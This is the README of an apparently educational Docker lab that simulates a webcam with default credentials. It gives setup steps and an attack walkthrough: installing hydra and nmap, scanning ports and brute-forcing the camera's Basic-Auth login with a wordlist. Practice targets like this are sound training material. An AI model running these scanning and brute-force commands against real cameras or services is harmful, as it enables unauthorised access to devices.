Files
fake-cam/README.md
2026-04-15 15:56:13 +02:00

885 B

Fake cam

Fake cam is a simple docker container running a fake webcam. It is used for educational purposes to teach ethical hacking.

Default creds are : admin | cam123

Requirements

  • Docker

Install

  1. Pull the repository
git clone https://git.phorge.fr/l-nmch/fake-cam.git
  1. Build the image
docker compose build

Deploy

  1. Run the container
docker compose up -d
  1. Verify cam access
curl -u admin:cam123 http://<ip>:3301

Attack

  1. Install required tools
apt install hydra curl nmap zip unzip -y
  1. Download the wordlist
wget https://git.phorge.fr/l-nmch/fake-cam/raw/branch/master/wordlist.txt
unzip rockyou.txt.zip
  1. Find open ports:
nmap -sC -sV <ip>
  1. Bruteforce Basic-Auth
hydra -l admin -P wordlist.txt -s 3301 <ip> http-get /